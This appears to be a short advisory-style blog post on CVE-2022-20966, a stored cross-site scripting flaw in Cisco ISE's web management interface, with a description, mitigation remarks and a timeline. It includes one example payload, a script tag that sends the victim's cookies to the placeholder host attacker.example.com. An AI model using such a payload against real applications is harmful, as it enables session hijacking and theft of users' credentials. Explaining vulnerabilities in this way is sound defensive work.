CVE-2022-20966 - Cisco Identity Services Engine Web-based Management Interface XSS Vulnerability

A recently discovered vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) allows a remote attacker with authentication privileges to execute cross-site scripting (XSS) attacks against other users of the application. This could potentially result in unauthorized access to sensitive information or the ability to perform unauthorized actions within the application. We will cover the details of CVE-2022-20966, including a description of the vulnerability, a code snippet illustrating the issue, and relevant links to original references and further information.

Vulnerability Details

The vulnerability, identified as CVE-2022-20966, arises due to a flaw in the way input is validated in an application feature within the Cisco ISE web-based management interface before storage. An attacker with authentication privileges can exploit this vulnerability by creating records within the application containing malicious HTML or script code.

An example of how the malicious code may be inserted into the application is provided below

<script>document.location='http://attacker.example.com/xss?'+document.cookie;</script>;

If successful, the attacker could store the malicious HTML or script code within the application, thereby enabling cross-site scripting attacks against other users. This could potentially grant unauthorized access to sensitive information, depending on the privileges of the targeted user.

Mitigation and Exploitation Details

As of now, Cisco has not released any software updates addressing CVE-2022-20966. Until a patch becomes available, users are advised to exercise caution when interacting with the web-based management interface and consider implementing appropriate security practices.

Important Links

For a deeper understanding of this vulnerability or to track the latest updates, refer to the following resources:

1. Cisco Security Advisory
2. CVE-2022-20966 - NIST National Vulnerability Database

Conclusion

CVE-2022-20966 is a significant vulnerability that requires urgent attention from Cisco ISE administrators. Until a software update addressing the issue is made available, users should follow recommended security practices and keep an eye on the latest updates and advisories from Cisco and other reliable sources.

Timeline

Published on: 01/20/2023 07:15:00 UTC
Last modified on: 01/26/2023 18:11:00 UTC